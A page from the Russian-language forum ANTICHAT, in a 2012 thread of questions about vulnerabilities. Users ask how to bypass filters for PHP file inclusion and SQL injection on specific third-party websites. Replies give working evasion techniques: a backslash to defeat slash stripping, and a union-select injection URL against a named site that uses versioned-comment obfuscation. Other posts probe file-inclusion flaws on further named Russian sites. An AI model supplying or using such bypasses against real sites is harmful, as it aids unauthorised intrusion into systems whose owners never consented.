ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 2152 из 2422 « Первая < 11521652205221022142 2148 2149 2150 2151 2152 2153 2154 2155 2156 216222022252 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 17.12.2012, 18:01
ReVOLVeR
Участник форума
Регистрация: 02.09.2006
Сообщений: 176
С нами: 10362626

Репутация: 327
По умолчанию
вопрос по htaccess

могу ли я выставлять права в фаиле htaccess

лежащем в деректории /var/html/www/1234

на директорию /var/html/www/12345

и как если да?
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 17.12.2012, 18:43
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 14
С нами: 9176038

Репутация: 8
По умолчанию
Цитата:
Сообщение от ReVOLVeR  
вопрос по htaccess
могу ли я выставлять права в фаиле htaccess
лежащем в деректории /var/html/www/1234
на директорию /var/html/www/12345
и как если да?
нет. Не можешь. Только на дочерние.
 
Ответить с цитированием

  #3  
Старый 17.12.2012, 19:14
Qwert321
Новичок
Регистрация: 25.01.2009
Сообщений: 1
С нами: 9100829

Репутация: 0
По умолчанию
Как обойти фильтрацию для успешной PHP injection, если иклюдить файл, например:

http://site/vulnerable.php?file=inj.php

а надо

http://site/vulnerable.php?file=../../inj.php

+ фильтрация такова:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]escape[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'file'[/COLOR][COLOR="#007700"]]))[/COLOR][/COLOR] 
 
Ответить с цитированием

  #4  
Старый 17.12.2012, 21:24
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 14
С нами: 9176038

Репутация: 8
По умолчанию
Цитата:
Сообщение от Qwert321  
Как обойти фильтрацию для успешной PHP injection, если иклюдить файл, например:
http://site/vulnerable.php?file=inj.php
а надо
http://site/vulnerable.php?file=../../inj.php
+ фильтрация такова:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"/"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]escape[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'file'[/COLOR][COLOR="#007700"]]))[/COLOR][/COLOR] 
Если сервер на Windows то может помочь обратный слэш\
 
Ответить с цитированием

  #5  
Старый 17.12.2012, 21:38
FunOfGun
Постоянный
Регистрация: 05.09.2012
Сообщений: 388
С нами: 7202486

Репутация: 124
По умолчанию
Как обойти фильтр union или select (как определить что именно фильтруется? group by нормально проходят)?

Не хочу быть навязчивым, но сейчас результат моего скрипта ~20 предполагаемых скулей(15 из них подтверждаются, но "наличие" скулей в youtube и hpc напрягает ) из 230 линков. Это нормальный показатель?

Заранее благодарен.
 
Ответить с цитированием

  #6  
Старый 17.12.2012, 21:47
WendM
Познающий
Регистрация: 29.01.2012
Сообщений: 44
С нами: 7519286

Репутация: 3
По умолчанию
Цитата:
Сообщение от FunOfGun  
Как обойти фильтр union или select (как определить что именно фильтруется? group by нормально проходят)?
Может линк покажите?
 
Ответить с цитированием

  #7  
Старый 17.12.2012, 21:51
FunOfGun
Постоянный
Регистрация: 05.09.2012
Сообщений: 388
С нами: 7202486

Репутация: 124
По умолчанию
Цитата:
Сообщение от WendM  
Может линк покажите?
http://www.currents olutions.com/articles.php?id=8%20union%20select%201,2,3,4%20--
 
Ответить с цитированием

  #8  
Старый 17.12.2012, 22:00
WendM
Познающий
Регистрация: 29.01.2012
Сообщений: 44
С нами: 7519286

Репутация: 3
По умолчанию
Цитата:
Сообщение от FunOfGun  
http://www.currents olutions.com/articles.php?id=8%20union%20select%201,2,3,4%20--
Собственно все просто, просто побольше читать...

Код:
http://www.currentsolutions.com/articles.php?id=99999.9+/*!union*/(select+1,2,3,4)+--+
 
Ответить с цитированием

  #9  
Старый 18.12.2012, 14:34
0xd098d0b3d0
Познающий
Регистрация: 26.10.2012
Сообщений: 54
С нами: 7129046

Репутация: 0
По умолчанию
http://flowap.ru/download/index.php?...ile=config.php

Я так понимаю это php инж. Но файл кфг пустой, что дальше делать??

http://io.nios.ru/index.php?showpage&page=config.php

И вот тут подскажите что делать дальше
 
Ответить с цитированием

  #10  
Старый 18.12.2012, 15:25
ReVOLVeR
Участник форума
Регистрация: 02.09.2006
Сообщений: 176
С нами: 10362626

Репутация: 327
По умолчанию
0xd098d0b3d0, RFI/LFI подразумивает под собой исполнение php кода из подгружаемого фаила.

Во втором случае подгружает только из папки io.nios.ru/pages/ т.к фильтруются спец символы

io.nios.ru/index.php?showpage&page=\%27/.@#$%^&*()

нет возможности поднятся выше на каталог.

Посмотри внимательно есть ли возможность повлиять на

содержимое какого либо из этих фаилов.

В первом не понял линк.
 
Ответить с цитированием
Ответ
Страница 2152 из 2422 « Первая < 11521652205221022142 2148 2149 2150 2151 2152 2153 2154 2155 2156 216222022252 > Последняя »



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.